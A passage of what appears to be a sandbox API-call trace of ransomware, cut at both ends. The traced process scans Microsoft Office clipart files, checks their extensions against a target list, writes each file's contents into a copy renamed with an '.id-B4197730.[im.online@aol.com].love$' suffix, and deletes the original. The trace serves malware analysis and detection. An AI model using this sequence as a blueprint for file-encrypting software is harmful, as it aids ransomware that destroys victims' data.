Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.101] lstrlenW (lpString=".doc") returned 4 [0252.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.101] lstrlenW (lpString=".docx") returned 5 [0252.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.101] lstrlenW (lpString=".pdf") returned 4 [0252.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.101] lstrlenW (lpString=".xls") returned 4 [0252.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.101] lstrlenW (lpString=".xlsx") returned 5 [0252.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.101] lstrlenW (lpString=".ppt") returned 4 [0252.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.101] lstrlenW (lpString=".zip") returned 4 [0252.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.101] lstrlenW (lpString=".rar") returned 4 [0252.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.101] lstrlenW (lpString=".bz2") returned 4 [0252.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.101] lstrlenW (lpString=".7z") returned 3 [0252.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.101] lstrlenW (lpString=".dbf") returned 4 [0252.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.101] lstrlenW (lpString=".1cd") returned 4 [0252.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.102] lstrlenW (lpString=".jpg") returned 4 [0252.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.102] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.102] lstrlenW (lpString="FD01196_.WMF") returned 12 [0252.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.103] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2332) returned 1 [0252.103] CloseHandle (hObject=0x450) returned 1 [0252.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0252.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.104] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.104] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0252.105] GetLastError () returned 0x0 [0252.105] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x91c, lpOverlapped=0x0) returned 1 [0252.128] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x920, lpOverlapped=0x0) returned 1 [0252.133] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.133] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.133] SetEndOfFile (hFile=0x488) returned 1 [0252.133] CloseHandle (hObject=0x488) returned 1 [0252.134] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.134] SetEndOfFile (hFile=0x450) returned 1 [0252.137] CloseHandle (hObject=0x450) returned 1 [0252.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0252.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.139] lstrlenW (lpString=".doc") returned 4 [0252.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.139] lstrlenW (lpString=".docx") returned 5 [0252.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.139] lstrlenW (lpString=".pdf") returned 4 [0252.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.139] lstrlenW (lpString=".xls") returned 4 [0252.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.140] lstrlenW (lpString=".xlsx") returned 5 [0252.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.140] lstrlenW (lpString=".ppt") returned 4 [0252.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.140] lstrlenW (lpString=".zip") returned 4 [0252.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.140] lstrlenW (lpString=".rar") returned 4 [0252.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.140] lstrlenW (lpString=".bz2") returned 4 [0252.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.140] lstrlenW (lpString=".7z") returned 3 [0252.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.140] lstrlenW (lpString=".dbf") returned 4 [0252.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.140] lstrlenW (lpString=".1cd") returned 4 [0252.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.140] lstrlenW (lpString=".jpg") returned 4 [0252.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.140] lstrlenW (lpString=".doc") returned 4 [0252.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.140] lstrlenW (lpString=".docx") returned 5 [0252.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.141] lstrlenW (lpString=".pdf") returned 4 [0252.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.141] lstrlenW (lpString=".xls") returned 4 [0252.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.141] lstrlenW (lpString=".xlsx") returned 5 [0252.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.141] lstrlenW (lpString=".ppt") returned 4 [0252.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.141] lstrlenW (lpString=".zip") returned 4 [0252.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.141] lstrlenW (lpString=".rar") returned 4 [0252.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.141] lstrlenW (lpString=".bz2") returned 4 [0252.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.141] lstrlenW (lpString=".7z") returned 3 [0252.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.141] lstrlenW (lpString=".dbf") returned 4 [0252.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.141] lstrlenW (lpString=".1cd") returned 4 [0252.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0252.141] lstrlenW (lpString=".jpg") returned 4 [0252.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.142] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.142] lstrlenW (lpString="FD01548_.WMF") returned 12 [0252.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.144] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10316) returned 1 [0252.144] CloseHandle (hObject=0x450) returned 1 [0252.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0252.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.145] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.145] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0252.146] GetLastError () returned 0x0 [0252.146] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x284c, lpOverlapped=0x0) returned 1 [0252.248] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2850, lpOverlapped=0x0) returned 1 [0252.249] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.250] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.250] SetEndOfFile (hFile=0x488) returned 1 [0252.250] CloseHandle (hObject=0x488) returned 1 [0252.250] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.250] SetEndOfFile (hFile=0x450) returned 1 [0252.254] CloseHandle (hObject=0x450) returned 1 [0252.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0252.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.256] lstrlenW (lpString=".doc") returned 4 [0252.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.256] lstrlenW (lpString=".docx") returned 5 [0252.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.256] lstrlenW (lpString=".pdf") returned 4 [0252.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.256] lstrlenW (lpString=".xls") returned 4 [0252.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.256] lstrlenW (lpString=".xlsx") returned 5 [0252.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.256] lstrlenW (lpString=".ppt") returned 4 [0252.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.256] lstrlenW (lpString=".zip") returned 4 [0252.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.256] lstrlenW (lpString=".rar") returned 4 [0252.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.256] lstrlenW (lpString=".bz2") returned 4 [0252.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.256] lstrlenW (lpString=".7z") returned 3 [0252.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.257] lstrlenW (lpString=".dbf") returned 4 [0252.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.257] lstrlenW (lpString=".1cd") returned 4 [0252.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.257] lstrlenW (lpString=".jpg") returned 4 [0252.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.257] lstrlenW (lpString=".doc") returned 4 [0252.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.257] lstrlenW (lpString=".docx") returned 5 [0252.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.257] lstrlenW (lpString=".pdf") returned 4 [0252.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.257] lstrlenW (lpString=".xls") returned 4 [0252.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.257] lstrlenW (lpString=".xlsx") returned 5 [0252.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.257] lstrlenW (lpString=".ppt") returned 4 [0252.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.258] lstrlenW (lpString=".zip") returned 4 [0252.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.258] lstrlenW (lpString=".rar") returned 4 [0252.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.258] lstrlenW (lpString=".bz2") returned 4 [0252.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.258] lstrlenW (lpString=".7z") returned 3 [0252.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.258] lstrlenW (lpString=".dbf") returned 4 [0252.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.258] lstrlenW (lpString=".1cd") returned 4 [0252.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0252.258] lstrlenW (lpString=".jpg") returned 4 [0252.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.258] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.258] lstrlenW (lpString="FD01660_.WMF") returned 12 [0252.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.691] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12958) returned 1 [0252.691] CloseHandle (hObject=0x450) returned 1 [0252.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0252.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.696] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.696] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0252.698] GetLastError () returned 0x0 [0252.698] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x329e, lpOverlapped=0x0) returned 1 [0252.700] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x32a0, lpOverlapped=0x0) returned 1 [0252.701] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.701] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.701] SetEndOfFile (hFile=0x544) returned 1 [0252.702] CloseHandle (hObject=0x544) returned 1 [0252.702] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.702] SetEndOfFile (hFile=0x450) returned 1 [0252.705] CloseHandle (hObject=0x450) returned 1 [0252.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0252.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.706] lstrlenW (lpString=".doc") returned 4 [0252.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.706] lstrlenW (lpString=".docx") returned 5 [0252.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.706] lstrlenW (lpString=".pdf") returned 4 [0252.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.707] lstrlenW (lpString=".xls") returned 4 [0252.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.707] lstrlenW (lpString=".xlsx") returned 5 [0252.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.707] lstrlenW (lpString=".ppt") returned 4 [0252.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.707] lstrlenW (lpString=".zip") returned 4 [0252.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.707] lstrlenW (lpString=".rar") returned 4 [0252.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.707] lstrlenW (lpString=".bz2") returned 4 [0252.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.707] lstrlenW (lpString=".7z") returned 3 [0252.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.707] lstrlenW (lpString=".dbf") returned 4 [0252.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.707] lstrlenW (lpString=".1cd") returned 4 [0252.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.707] lstrlenW (lpString=".jpg") returned 4 [0252.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.707] lstrlenW (lpString=".doc") returned 4 [0252.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.707] lstrlenW (lpString=".docx") returned 5 [0252.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.707] lstrlenW (lpString=".pdf") returned 4 [0252.708] lstrcmpiW 